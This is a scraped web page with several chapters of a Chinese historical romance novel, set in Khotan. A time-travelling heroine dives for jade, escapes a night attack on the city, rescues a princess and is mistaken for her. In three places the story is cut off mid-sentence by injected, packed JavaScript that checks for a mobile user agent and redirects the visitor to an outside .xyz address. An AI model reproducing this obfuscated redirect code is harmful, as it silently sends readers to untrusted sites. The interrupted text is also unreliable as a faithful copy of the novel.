她缓缓靠近水边,如海藻般的长发遮住了薄纱下美妙的背影,银边翡翠发带编住额间发丝,露出她光洁白皙的额头,眉间朱砂在夜明珠柔和的光下,让她看上去圣洁美丽,犹如水中女神。不知何时,昏暗中大祭司停下了吟唱。 阿嬷告诉过她,今夜只要熬过寅时,无论捞到玉石籽料与否,这关就算熬过去了。 一咬牙,她松开面纱和身上的薄纱,衣衫落地,瞬间跃入水中。哗的一声,浑身冰冷刺骨。阿祇试着睁开双眼,发丝飘飘扬扬地在水里浮动,她滑动修长的四肢,口里吐出气泡,适应了水温,依靠左手夜明珠的光亮,身姿舒展地向水底浅去。月色正好,光芒洒在湖面,层层粼光在水中散开淡淡的光芒,远处拂云殿的人们正期待祭台上的动静。 没多久,阿祇身边游过一个光亮身影。 原来有采女已经发现了玉石,手中捧着荧荧绿光的石头,拨动着水流向水面滑去。 阿祇口鼻里冒着气泡,她的气息不够闭气太久,再不敢分心。 水底是一个不同的世界,在清澈的水中有点点青色、白色的光折射而出,她游了几个来回,一颗温润光泽就在不远处,于是她朝着那石头游去,就快要憋不住气的时候,右手抓起光晕之源,双腿踏水而上。 哗啦一下,阿祇湿漉漉的头探出水面。摊开手掌,洗掉多余的泥沙,对着圆月一照,果然是块半透明的翠绿籽料。清风拂过,微起波澜,她半眯着眼,看玉石散发通透的柔光撒在指尖,那无暇的光泽令人片刻着迷。很快又有采女穿梭,她才回神往祭台游去。 祭台水边摆放祭祀器具,神秘莫测的大祭司立于台上,看采女们将捞起的籽料放入其中,再游回水底。阿祇是最后游回来的采女,她微微喘气,左手持夜明珠,扒在祭台边上,伸出白皙的右手臂,小心将玉石放在最边上的器具,正要回身,突然被一把抓住。 湖中水雾袅袅而起,如仙境一般。 雾中,一个宽目大耳面具脸出现在她眼前,吓了阿祇一跳,刚要挣扎却发现面具下那双眼睛似曾相识。 素未谋面的大祭司,怎么看起来有点眼熟? 两人异口同声道:“是你!” 面具下那双狭长的眼睛仿佛燃着火焰,狂热中混着柔和,好像在月色夜明珠的余晖中刻画她的模样。阿祇往水里沉了几寸,神情浮上愠色。 月光下的女子如美玉般的肌肤胜明珠清辉,在碧波中仙姿玉色,世间万般颜色不及她眉间那抹朱砂,如一朵含苞待放的优昙婆罗,灵动清澈双眸与男人对视,瞳孔里能映出面具的影子,眼下实不该这样拉住她,但自从离开佛塔,他就开始后悔。 阿祇终于认出他,沮渠刀的主人——沮渠蒙逊。 她使了使劲,手臂被他抓得有点疼,男人似有恼怒,“你不该在这里。” “你放开我,我就立刻消失。” 阿祇其实在腹诽,你也不该在这里。 沮渠蒙逊没有放手,反而加重力道,竟把她拉出水几分。阿祇忙将手臂环在胸前,这明晃晃的满月,男人的面具几乎贴在她的脸上,粗糙的手指拢起她耳畔湿发,眼神凝在她额间那抹优昙花上,阿祇挣脱不开他的手,脸上浮现愠色。 面具下男人眼睛亮的惊人,像锁定了魂魄。 “祖慕祇,我就问你一句话,你在等我吗?” 她这才记起救这个人临别前说的话,他让当时的辛薇记住他的名字,等着他。没想到这么快就又见面了,但这话怎么听怎么别扭。 夜明珠不小心滑落水中,湖面泛起水花,阿祇打断他:“现在不是说话的时候,不管你为何出现在此,我和你都没关系。” 他一匈奴人暗藏在于阗,所图必大,阿祇不想卷入是非,沮渠蒙逊低笑了一声,真的放开了她。阿祇迅速游走,如同人鱼一般沉入水中,在她身后传来沮渠蒙逊的告诫:“快离开这里。” 一片涟漪,好像只是一场梦。 水雾散去,采女们还在水中浮浮潜潜,宁静的湖水深处是无边无际的黑暗,阿祇却追逐着丢失的夜明珠,向远方的湖水深处游去。她心中忐忑,直觉一场阴谋正在悄然发生。 在水中的采女陆续送来籽料,谁也没注意少了一人。 冰湖中,阿祇屏气游出数丈开外。不一会儿,她探出头,漆黑的水面离篝火和繁华越来越远,她仰头,寻到指北的星星,按照计划,她只要游到塞勒湖支流的入湖口,那里会有人接应,明日便是她金蝉脱壳的日子。 浮在水面,她正在换气休整之时,头顶上方突然有如流星般的火光掠过,然后成百上千的燃火箭雨呼啸而过,齐齐飞向拂云殿的方向。 阿祇心中一惊,和田城遇偷袭。 远处的高塔火光四起,尖叫声此起彼伏。淬了火的箭雨从黑暗而来,那里离阿祇上岸的地方不远,怕已有伏兵火弩。 阿祇犹豫何去何从,转身看去,远处的祭台上早已不见大祭司身影,沮渠蒙逊果然与这一切有关。听着城中传来的惨叫,她没有迟疑,再次潜入湖中,游向漆黑的远方。 和田城倚山而立,河流环绕,西北方附近有一片原始森林,山中河流正是从此汇入塞勒湖,暗流逆行,湖面的水冰冷刺骨,阿祇体力几近透支。但她不敢靠近森林,直至箭雨停止后又过了一炷香的时间,才试探地接近岸边。 阿祇露出头见四下没什么人影,林中鸟兽静寂下来,看来这些人放完了火,很快就撤退了。她暗暗祈祷这些人已经走远,脚踏着湖水,缓缓走出几步。 突然,几个黑影从林中冒出来,其中一个眼尖的,见到湖水中有动静,还以为是水怪或者大鱼,谁知是一个女人的身影。 他喊道:“水里有人。” 阿祇立刻缩回水里,因为在冰水里泡了太久,体力耗尽右脚抽筋,不好!她心中一慌,连自己还光着身子都忘记,试图扳平抽筋的脚趾,可人被暗流往深水里冲,如同被水草缠住的人鱼。 河岸上发生了什么她完全不知,挣扎着不让自己淹死。可是,阿祇早已没了气力,眼下慌乱无助,连着呛水后便生出放弃之心。为什么要挣扎呢?不如沉入湖底,这样的死法也算体面,说不定还能穿越回去呢。她没注意水上的动静,近在咫尺。 一声落水,有人跳入了湖水之中。 阿祇这时放弃了挣扎,闭上眼睛,周遭一切变得模糊,有人朝她而来,然而无关紧要了。四散的长发将自己缠绕,身体渐渐下沉,就在残存的意识陷入混沌,她唯一的渴望就是再次开启穿越之旅回家的时候,一双手握住她的手腕,将她往湖面上拉。冰冷的腰间被人环住,随即身体被包裹住,一个力道,将她带出水面…… 阿祇呼吸到新鲜空气,大脑逐渐恢复运转,边挣扎边猛烈地咳嗽,睁开眼四周仍然是黑暗,她确定自己没有死,她被人救上了岸。看到拥着她的人,简直不敢相信眼前这张脸。明月松山,碧水粼粼,抱着她踏水而出的男人侧颜如雕刻般完美,鼻梁高挺,长眉微皱,深邃的眸子如夜空寒星,出尘的气质犹如神祇,怎么会是李暠? “别出声。”半湿的男人见她清醒,低声劝道。 阿祇本就没了说话的力气,全身的关节都在疼,肌肉酸痛僵硬,这一夜她体力透支,缓和几息,慢慢才感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661062|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了从男人怀中传来的温暖。 变故太多,阿祇脑子有些昏沉。 树影在眼前闪过,她被玄盛小心地放在岸边一个隐蔽的角落,旁边有个包袱。他眸如晨星,低沉地嘱咐:“这是你的东西,暂且躲在这里。” “李暠,你怎么,在,这?” 她牙齿打着颤,浑身湿淋淋地裹着披风,头发趴在她的脸上和肩上,终于找回了自己的声音,根本没注意到直呼其名的不妥,夜色掩盖了她发紫的唇色,却没能藏住她迸发出光芒的眼睛。 玄盛蹲在她身前,为她紧了紧披风,微微一笑,如夜半绽放的昙花绽放。 “路过。” 嘴角勉强扯出一个不甚优雅的笑,幸好周围一片黯淡,夜幕下月光清冷,阿祇狼狈地动了动身子,从大氅中伸出来一只手,手中有一颗夜明珠,圆圆的珠子散发出柔光,奇异地营造出一片温馨境地,笼罩二人。 她笑容有了温度,“真,真是,山水又相逢。” 两个月未见,却也不显得生疏,玄盛温柔地说:“夜明珠,不错。” 阿祇笑得僵硬无比,冻得牙齿打颤,哆哆嗦嗦自豪地说:“这次是托大了,一夜狼狈,幸,幸好,得你相救,还,还顺便,得了个,宝贝。”她吸了吸鼻子,又补充一句,“上好的,夜明珠。”玄盛看她如获至宝的模样,修长的手指帮她拨开额头湿发,露出映着月光的婆罗花钿,这样的动作好像又自然又亲密。 阿祇有些不自在,裹在阿祇身上的披风已然湿透,玄盛从她的行囊里拿出一件衣袍,递给她说:“快换上,莫着凉。” “你呢?” 他回头吹了个口哨,林中走来一匹安静的白骆驼。 两人快速地各自换好衣物,阿祇躲在山石后,裹上厚厚的衣氅身体才渐渐恢复温度,刚才逃命太紧张,握着夜明珠就忘记松手,想起自己刚才水下的狼狈情形,这时才意识到尴尬。不过只要她不提,就可以当尴尬不存在吧。 谁知不远处的黑暗中,突然有声音传来:“我什么都没看见。” 与此同时,阿祇也脱口而出:“你什么都没看见。” What?自己是脑子是进水了吗? 阿祇懊悔又不想再解释,心想:他只是个古人,我们相遇只是打破了次元壁的偶发事件,都会过去的……对面好像有轻笑声,阿祇觉得好像被读心了,更加窘迫。于是,她清了清嗓子,从山石后走了出来换了话题,眼神瞟到不远处躺着的几个黑影,问:“他们是什么人?” 李暠来得及时,处理掉了这几个人。 “游兵散将罢了。” 阿祇想到城中的突袭,“怕是里应外合的匈奴人。” 玄盛深邃的眼眸闪过意外,“我本不相信祖慕祇的预言,辛薇,你让人看不透。” 好个“祖慕祇”,李暠直截了当地说出她的担忧。 阿祇苦笑,不出所料,“苍颉不是商队唯一的信鹰,宋掌事与你通信从来就不需要我这个文书代笔,你们私下有联系,一直在试探我,对吗?” “你是什么人,对我都没有任何威胁。” 阿祇反驳:“没有威胁,不代表没有利用价值。” 李玄盛走近她,紧了紧她的披风,不紧不慢地说:“聪慧,但思虑过甚,独立,却尚无自保之力……我已命人带你的狗来会合,沿着河水向东十里有家驿站,把这个拿给掌柜看,他会帮你联络商队,送你去想去的地方。” 阿祇默默地看着他,也看不懂他。 李暠,李玄盛,你到底是怎样的人? 漆黑眸子中闪着内敛的光,李暠作为告别奉上一句:“顺势而为,来日方长。” 玄令牌被塞在身旁的包袱中,跟小林那个一模一样,他不小心从包中勾出一根银色丝绳,末端挂着的小小莹润光泽,那是一颗琅玕。微楞之后,阿祇眉眼舒展,玄盛小心拾起将琅玕坠子挂在了少女的颈上,阿祇纤细的手指轻轻抚摸那颗小小的珠子,带着他的温度。 他看着她说:“这不仅仅是谢礼。” 阿祇握紧琅玕,心漏了一拍。 李暠带上一张遮住半张脸的墨玉面具,如玉如雪的清冷郎君眼神变得幽深,阿祇这才注意到他一身黑色装束,墨玉遮住了温醇,眼神几多凌厉,她差点忘了,除了白衣玄盛,李暠还是纵横西域势力的枭雄。他蹬上骆驼,凝视眼前的少女,没有出口挽留她的话,祖慕祇的灵魂理应放飞大漠。 “山水再相逢,辛薇,我们后会有期。” 24. 阿依夏木 和田城的郊外,刚好与远处王城遥遥相望。 城里的火光渐渐平息,迎着东方曙光,阿祇看到水上飘来一艘船,欣喜地以为是接应她的人,却没看到努尔的身影,立即警惕起来。待小船靠岸,阿祇已经藏好自己的身形,只见跳下两个壮硕的黑影,从船上又扛下一个捆绑着的女子。女子像是刚从昏迷中苏醒,被堵了口只能发出呜咽地挣扎声,浑身绿松石零落撞击出细碎碰撞,竟是有一面之缘的人——阿依夏木。 阿依夏木双手被反绑,发丝凌乱地被两个黑影托拽着上了岸,不知这位于阗公主怎么被抓住成了人质,即便郭谦教过她几手防身,加上前世的格斗训练,阿祇也自知不是两个壮汉的对手,出其不意偷袭也许有胜算。踌躇瞬间,黑影已经来到她的藏身之地。 阿祇蒙上脸捡起一块石头,来不及多想,敲昏了走在后面的身影,前面扛着人的大个子警觉,但已经来不及了,阿祇从靴子里抽出事先藏好的沮渠匕首,快速在他右手腕划了一刀,黑影吃痛正要反抗,阿祇再次挥起石头,一下子把人砸晕过去。 被扔在地上的阿依夏木,吓得拔腿就跑,阿祇扔了石头,挡在她身前揭开面纱。 “别怕,是我。” 仓惶逃命的阿依夏木,踉跄了一下,看到阿祇的脸,旋即腿软,一屁股坐在地上,阿祇取出阿依夏木嘴中的破布,公主立刻大哭起来。 阿祇赶紧捂住她的嘴,将人拉到一旁的石头后,“嘘……别把人引来。” 阿依夏木瞪大眼睛忍住哭声,阿祇这才放开捂住她嘴的手,帮她松绑,阿依夏木缓上气,一把扯下脖子上和头发上叮叮当当的饰品,赌气道:“这些没用的东西,差点没把我勒死。” “小点声,公主,你怎么被绑到这里?” 阿依夏木瞪了阿祇一眼反问,“你怎么在这?你是不是和那杀人放火的是一伙的?” 阿祇苦笑,“难道不是我救了你?” 阿依夏木手指轻触了下后脑的包,嘴角嘶一声悲愤交加,“拂云殿被火袭,一个仆人说护送我,可转眼就把我交给了那两个坏蛋,他,他们敢打晕我……” “公主有宋繇的消息吗?” 阿依夏木显然被吓得不轻,摇摇头,“到处都是火,死了很多人。”她脸色骤变,又道:“我父王母后还在城里,我得回去。” 人不管不顾地就要往回跑,阿祇拉住她,“不要轻举妄动。” “本公主凭什么听你的?”阿依夏木的声音尖细,见她又挣扎着大喊,阿祇只好又堵上她的嘴,“凭你打不过我!” 被制服了的公主瞪大了眼睛,总算冷静下来。阿祇走到旁边倒在地上的两个男人跟前,开始扒开衣物,阿依夏木抽泣了几下,露出鄙夷的神情。 阿祇见她那样子忍着没骂人,学乖了,“还不来帮忙?” 在黑衣人身上没发现什么特别的信物,阿祇又去拖另外一个男人,意外发现黑色外衣下套着锁子甲,看一旁呆坐在地上的阿依夏木便喊她过去。 “这是好东西,快换上。” 阿依夏木看她从男人身上脱下黑乎乎的东西,嫌弃恶心腌臜。跪在地上的阿祇快被她气吐血,“难道刀剑会因为你是公主而绕开?” 锁子甲被扔在她脚下,难得并不笨重,阿祇不顾阿依夏木的抵触,帮她换下珠钗罗裙,强行套上锁子甲,再穿上身材略矮黑衣人的夜行衣。于阗女子轮廓鲜明,但与汉人并没有太大差异,帮她束紧头发,蒙上黑巾。 “别怕,沿河向东十里,你就得救了。” 阿依夏木闪着大眼睛,抓着阿祇的手浑身发抖。时间有限,阿祇踌躇了一瞬,终究下不了手杀人灭口,只好把两个男人藏在大石后,拉住阿依夏木。 阿依夏木的手冰凉,阿祇紧紧抓住忍着颤抖的公主,说道:“和田城有人里应外合,抓你定有所图,若不想死就拼命跑。” 阿依夏木摇着头:“不,我不行。” 眼泪一颗颗控制不住往下掉,她看着相似装扮的阿祇,想不明白到底发生了什么,沦落到要与这个令人厌烦的女人一起狂奔。 阿祇的手温暖有力,阿依夏木强忍着没出说怕字,耳边是她坚定的声音:“你一国公主难道要坐以待毙?不是想见你父王母后了?” 在路边的泥塘中,阿祇捞起一把泥,往她脸上摸了一把,又道:“你身上可有公主信物?” 阿依夏木呆愣住,慌乱地从领口扯出一块鱼式金镶玉坠,取之“金玉”之意,背面刻着于阗文“玉之公主”,这是她的护身符。 “父王亲自为我所刻,从小就戴在我身上。” 于阗古文雕刻出的“玉之公主”,字字珠玑,父爱尽显,可惜阿祇打破了她的遐想,笑嘻嘻地看了阿依夏木一眼。 “傻公主,不要别人问什么,你就答什么。” 阿依夏木有点懵,反应过来她在揶揄自己,“你,敢欺负本公主?告诉你,别以为你与本公主有几分相像,就算你抢了护身符也作不了“玉之公主”,大祭司第一个能揭穿你。” “放心,我对当公主没兴趣。” 阿依夏木鼻子一哼,“骗子,这世上有几个女人比我的身份更高贵?” 阿祇转身看着落魄的阿依夏木,觉得她此时竟有些可爱,说:“高贵不代表顺意,与其当公主,我宁可作一个使臣。” 阿依夏木鄙视说:“使臣有什么好?” “有什么不好?看尽天下繁华,领略无奇不有。” 阿祇见阿依夏木找回了点气势,不再逗她,拉着小公主穿进林子,阿依夏木也不知为什么会信任这个汉女,小心把玉坠塞回她脖领。 阿祇嘱咐:“你身边有眼线,这次吃了亏以后多个防备。” 阿依夏木不解,“你为什么救我?” 阿祇回头看她,好似若无其事地说:“我有救你吗?” 软甲是眼前这个女子帮她套上的,头发也是她给绑紧的,看着她黑色的眼睛,阿依夏木竟不知说什么。眼看,阿祇绕晕了阿依夏木,早忘记了刚才的慌乱害怕,跟在另一只手握着弓弩的祖慕祇身后,听她坚定的声音传来,“能救你的只有你自己。” 七月的清晨称不上冷,早晚寒重。 河岸边的小路旁边有松柏林,林子不远就是大路,她们已经跑了近一个时辰,停下来听见好像附近有急行军的动静,越来越近,于阗的兵力不足,恰逢采玉祭部署在城中人多的地方,这些人无论如何不可能是自己人。 阿祇紧了紧阿依夏木的手,“跟紧我。” 十里之外…… 黑压压的军队集结于和田城之外,沉闷的城门缓缓打开,一支军队缓缓而入。 狯胡、尉头、温宿号称七十万的联军兵马,半月前被白纯收买,集结攻打龟兹,征西军暗中挖深沟筑高垒布下天罗地网,吕光亲自指挥军队给木人披上衣甲列于垒上,故布疑阵,大破联军,斩首万余级,只让十万狯胡残兵逃到漠南。吕纂随父多年征战,官拜虎贲中郎将,此番率领五千骑兵精锐追击狯胡残兵,在疏勒遇挫后,在玄羽衣的相助下,在和田城外三十里终于赶上狯胡残军,却被一支伏兵死士夜袭,这些人骁勇凶狠,吕纂亲自披甲提刀上阵,也没讨到什么好处。 天光大亮,血腥味弥漫在林中。 吕纂受了几处伤,身后一阵劲风袭来来不及躲闪,危急关头一把长剑横在颈后,替他挡开矛槊偷袭,动作利落地将那蛮子死士挑开,吕纂趁机将其一刀毙命,抬头看到身旁黑衣墨玉覆面之人,点头致谢。正如父亲所言,玄羽衣不仅替他们解决了疏勒的负隅顽抗,又在关键时刻赶到,救他一命。 回想数日前,龟兹混战大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687777|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜。 彼时的吕纂并不知道李暠已与父亲联盟,听说正是这位玄郎君私放龟兹王白纯,赠财帛无数助其收买蛮族势力,他差点就杀上门去,这才被父亲告知内情。 吕纂惊疑道:“李暠真的在暗中帮我们?” 吕光深谋远虑,却对自己有勇无谋的长子十分失望,耐着性子解释给吕纂听。 “西域诸国如一盘散沙不足为惧,勾结突厥的蛮族势力和北方的匈奴,他们联合起来才是我西征军大患,白纯若困在龟兹,就是一步死棋。李暠这人有些意思,看懂了老夫盘踞龟兹沉迷酒色的用意,暗中结盟相助,不惜财帛,助白纯联络蛮族势力,狯胡、尉头、温宿聚到一起,我们以逸待劳,踞天时地利,一举消灭数十万游牧联军,玄羽衣疑兵之计,令唯一的漏网之鱼狯胡王,朝着设计好的南下路线逃窜,又正好给了我们理由,征服西域最后一块绊脚石——于阗。” 吕纂大喜,“若玄羽衣也归父亲所用,别说大漠,就算这天下……” “住口!”吕光甚是头疼,若不是用人之际,他也不会瞒下实情到现在才对吕纂道明真相,“中原八王之乱,门阀混战,何来真心归顺?合纵,无非是利益二字,李玄盛虽与我联手,却互为挚肘,不得不防。” “狯胡王星夜抛弃盟友一路南逃,你率领五千精兵立即出发,追剿狯胡残兵拿下漠南,切记!若无为父亲亲召,不可收兵回秦,待中原安定,玄羽衣若不能为你所用,杀之。” 吕光眼神一黯,吕纂立刻会意他的打算,玄羽衣冲锋陷阵,他的精兵当然要保存实力。 “李暠若现在就有异心,可否……”吕纂做了个斩草除根的动作。 吕光冷笑,“李暠不敢。” 吕纂问道:“父亲为何如此笃定?” 吕光探出腰中匕首,刺入悬挂舆图中陇西的位置,凉州陇西李氏是关中大家族,玄玉阁亦出自征西军回朝的必经之路——敦煌。他胸有成竹地说:“人若有软肋,就会被掣肘。” 吕纂单膝下跪,对父亲更加敬服,“儿子立刻领兵出发。” 吕光靠近长子,扶起他叮嘱,“李暠善谋,你在西域若遇强敌,要听他的计谋。” 眼下的战况,吕纂愈加信服父亲的先见之明。李暠的玄羽衣有沙漠神兵之名,助他们一路乘胜追击狯胡大军,眼看离和田城不足三十里。吕纂想一举攻城,然而李暠不允。戴着墨玉面具的玄羽衣之主,执剑拦在他面前,狯胡王星夜带走的逃兵人数足有三万,不如坐等和田城内乱,穷寇莫追。 前方探子来报,“狯胡大军已入和田城。” 吕纂大怒,“于阗老儿,果然与胡蛮子勾结,与我征西大军为敌。” 玄色铠甲下,墨玉蒙面玄羽衣首领浑身散发着冷厉的压迫感,征西军中很少有人真的知晓军师与玄玉阁阁主是同一人,当玄盛佩戴墨玉面具之时,身份就不再仅是一介儒商,而是沙漠闻风丧胆的玄羽衣之主。 军师阻止袭城,“城门既开,必有内应,于阗王怕已凶多吉少。” 探子惶恐地看了眼这位传说中的大漠枭雄,磕磕绊绊回答:“狯胡蛮子进城无人抵抗,好,好像城中有人说,是奉……诺伊校尉之命打开城门。” 吕纂犹豫道:“于阗与狯胡勾结,至少有三万人马,占了天时地利,军师,你说咋办?” 玄羽衣随行出战的皆为以稷手下的暗影军,只有吕纂的亲信才知晓他们的身份,对外皆以军师相称。几番相助,吕纂倒生出了几分敬服。化身为大漠神秘枭雄的李暠,冷冷道:“静观其变。” 昨夜收到宋繇的急信,得知和田城生变,信来的仓促提及祖慕祇的行踪,李暠一人一骑,星夜兼程,总算及时救下那个固执前往精绝的女子。 又有人急报传来:“报,前方抓到一个俘虏,自称于阗公主。” 25. 真假公主 炊烟缭绕,五千征西军精兵驻扎在和田城外十里的旷野。这里水草丰茂,连日的追击和厮杀,人马得以暂缓休息。营地里大多是二三十岁的青年模样,穿着白色和黄色相间的军甲,连日追击狯胡人原本士气正盛,眼看蛮子大军入了于阗城,将军却不急着攻城。 守卫森严的中军大帐,满脸髯须的吕纂刚包扎了伤口,歪坐在桌榻前,举起酒杯大口饮尽,在他右侧是一位白衣男子,头戴风帽,静坐不语,看不清样貌。 帐帘掀开,吕纂的心腹之人带来一个蒙着黑布的挣扎不休的女人,女人披头散发,口塞布团,虽身材高挑,但一身不合尺寸的锁子甲松垮地挂在身上,刚一扯掉她口中布团,便放声大叫:“大胆!”扯开蒙眼黑布,她晃了一会儿神,才看清楚眼前之人。 白衣男子放下风帽,芝兰玉树般的气质,让女人眼睛一亮,顿时激动无比,踉跄地扑上前,却被吕纂的亲卫拔刀拦下。他们不敢动粗,刚经历生死的女子最不缺勇气,伸手去抢对方的刀,被人喝止:“不得无礼。” 白衣男人抬起俊美无双的容颜,带着温和的笑容对女子行于阗礼节,“公主安好。” 眼前狼狈不堪的女子,正是阿依夏木。李暠眼神略过被俘的女子的脸,心中微松,随即又浮起一分不安。阿依夏木心心念念的人在眼前,总算抬起下巴,端起气度。吕纂则玩世不恭地立在一旁,粗黑的眉毛忍不住上挑,眼中流露出邪气的笑意。 玄盛被于阗王室奉为上宾,然而这里是征西军的主帐,吕纂当仁不让地开口:“公主是来投诚的?” 阿依夏木不认识这个粗鲁武将,见玄郎君颔首,才不情不愿地回答:“我昨夜被歹人绑架,有人告诉我拿着这个令牌,去十里外的玄玉阁驿站,半路却被你们的人抓来。” 阿依夏木取出玄令牌,李暠眼神一黯,认出正是昨夜交给阿祇的那块。他微皱起眉头,打断吕纂的询问,走上前接过那枚玉色的牌子,端详后对阿依夏木道:“给你令牌的人呢?” 阿依夏木支支吾吾,“不知道。” 当时她太害怕了,自己慌不择路,哪里注意阿祇往哪个方向跑。在李暠的注视下不自觉躲闪目光,终是禁不住那人的阴郁面色,将昨夜的事情一五一十说了出来,白衣男人却沉默了。 这时外面有人禀报,“家主,宋掌事的人来了。” 吕纂抬手,让人进来。 主帐的帘子掀开,一个十三四岁的小娘子扑通跪在白衣之人身前,“拜见家主。” 李暠脸色一变,最坏的情况发生了,那个他想要放开的人,出了事,他冷冷问:“出了什么事?” “禀家主,奴婢有罪,昨晚奴婢丢了努尔,还……没有找到阿姊。” 大帐里气氛诡异,吕纂饶有兴致地发现军师露出一丝耐人寻味的神情,声音发抖的是米耶,加上阿依夏木的经历,他也猜到了个七七八八,运筹帷幄的李玄盛,好像遇到了一个变数。 ………………………… 圆顶穹庐之下,华美帷帐之中,恍然隔世。 一个女子缓缓睁开眼睛,头顶浮光掠影,周身异香四溢。昏沉的头脑有些混沌,躺在舒适大床之中的身体提不起力气,有人给她喂水,味道有些苦,左肩传来疼痛。周围渐渐安静,女子仰面躺着,待恢复清明不由沮丧,发现这里是于阗王宫,没想到兜兜转转她又回到了和田城。 脑海里涌出昨夜的片段,耳畔呼呼地飞着箭,撕裂的头巾,男人的追杀,女人的尖叫,长发乱舞缠绕在脸上……她和阿依夏木拼命奔跑,被一个衣冠不整的大汉穷追不舍,那是被她打晕扒了衣服的黑影人之一。 当初,阿祇没有下狠手留了男人一条命,等他醒来,发现锁子甲都被人扒了去,感到奇耻大辱,反正他的任务就是带活的于阗公主回去,留一口气,也不算违背阿兄的命令吧? 他赤裸的手臂肌肉贲张,右手有伤,左手持弓弩朝她们射出一箭,阿祇推开阿依夏木,箭头划过阿依夏木的锁子甲,幸运地没伤到人。 男人像在狩猎一样,寻着猎物追踪她们。 他很快追上人影,再次拉开弓弩,箭矢破风而来,威力十足,一支箭射在她们面前的树干上,陌生的语言咒骂由远及近。情急之下阿祇做了决定,“分开跑,你向东。” 阿依夏木慌了神,她知道东方是她们要去的方向,“那你呢?” “我跑的比你快,我去引开他。” 漫天朝霞,阿依夏木消失在东边的小路,阿祇特意在林子岔路口往西露出踪迹,只要到了湖边就可以遁水逃走。她俩身形相似又都穿着黑衣,追来的男人被阿祇打晕,一路寻迹追来,凭直觉放了箭。 扑通一声,女人应声倒地。 她记忆中,最后被人扛在肩上,慢慢地失去意识。 等一觉醒来,就躺在了这个华丽房间,肩上传来刺痛。 这舒适的大床挂满红蓝丝幔,房间的主人不是大雅,便是大俗,帷幔上叮叮咚咚的绿松石饰品,被光线一照,满室生辉。一个侍女轻柔地拉开帏幔,阿祇看着低眉垂眼的侍女有些熟悉,却想不起在哪里见过,侍女阻止她的翻动,柔柔地轻唤:“公主,大祭司来看你了。” 什么公主?什么大祭司? 侍女在对自己行礼,然后缓缓后退,离开了房间。 飘渺的熏香中,出现一个提药篮的戴宽目面具之人,靠近床边默默坐下,轻轻掀开她左肩的衣衫。阿祇愣愣看着这人,没有挣扎,冷漠的声音开了口:“疼吗?” 阿祇看到这个面具松了口气,猜到了几分状况,少了面对未知的纠结,于是问来人:“沮渠蒙逊?” 大祭司一愣,没否认,也没承认。 阿祇追问:“你是抓我?还是救我?” 大祭司一边为她换药,一边矢口否认,“都不是。” 阿祇环顾四周,试图抬起完好的右臂,挥开头顶恼人的宝石坠子,有气无力地道:“看来我成了阿依夏木的替身。” 面具停在阿祇的脸上方,大祭司专心为她处理伤口,冷冰冰地说:“别动。” 咝……真疼! 阿祇不懂沮渠蒙逊在闹什么脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沮渠蒙逊从药篮里取出王室秘制的药膏,据真正的大祭司所说,这是治疗外伤最好的圣品,小心抹上伤口,阿祇不知道他用的什么仙丹妙药,疼痛缓解不少,副作用就是嗜睡。 “谢了。”她感激得很真诚,眼皮沉重。 门外,好像有巡逻的脚步声,敌友不明,却提醒了祖慕祇现在的处境。她趁着最后的精神,朝沮渠蒙逊招招手,“耳朵……过来。” 男人眼睛黯沉,俯身靠近她。女子虚弱的声音传来,耳畔有热气拂过,沮渠蒙逊心神不由一动,差点忽略祖慕祇的威胁。 “我是个禁不住拷打的,阿依夏木的下落只有我知道,若我逃不出去,怕要……连累你。” 沮渠蒙逊的眼神更深了,歪过脸也贴上她的耳朵,“没你想的那么简单,乖乖当你的公主。” “呵,纸包不住火,王宫里的人眼睛又不瞎……” 说着说着,阿祇难敌困意,闭上眼睛进入了梦乡。 她没有机会听见,沮渠蒙逊最后一句话:“那就让王宫里的人眼睛都变瞎。” 26. 蓝毗尼宫 翌日清早。 殿外一声犬吠声,吵醒了昏睡中的阿祇,睁开眼睛看着雕梁画栋的屋顶,她有片刻怔忪,门开了一个小小的影子飞奔到床前。 阿祇惊喜道:“努尔,你怎么进来的?” 狗子耷拉着舌头,用头拱着阿祇的脸,毛茸茸的尾巴欢快地摇来摇去。 门前,一个恭敬的声音传来,“大祭司大人说这是公主的狗,让奴婢给您送来。” 阿祇看到来人十分欣喜,“阿嬷!” 身影微微佝偻的中年女子,正是教导阿祇的老采女,她人温和不苟言笑,宽大衣衫下瘦弱的双手在胸前行礼,称道:“公主殿下。” 阿祇悄悄看了眼阿嬷的眼神,立刻会意,对门口的侍女说:“阿依那,你退下吧。” 侍女听见阿祇的命令,没有违抗,俯身而去。 阿嬷眼神复杂地看着她的背影,等人走远,才开口对阿祇道:“这个女人,怎么在这里?” “什么意思?”阿祇从阿嬷眼中看到惊疑不定。 老嬷嬷拉着她,“难道阿依那没对你说,她就是米耶的亲阿秭?” 阿祇睁大双眼,总算知道那抹熟悉感从何而来了,想起那日塞勒湖边擦肩而过,飘渺游魂般的一众采女,虽戴着面纱,其中就有这位被自己替换而下的女子。 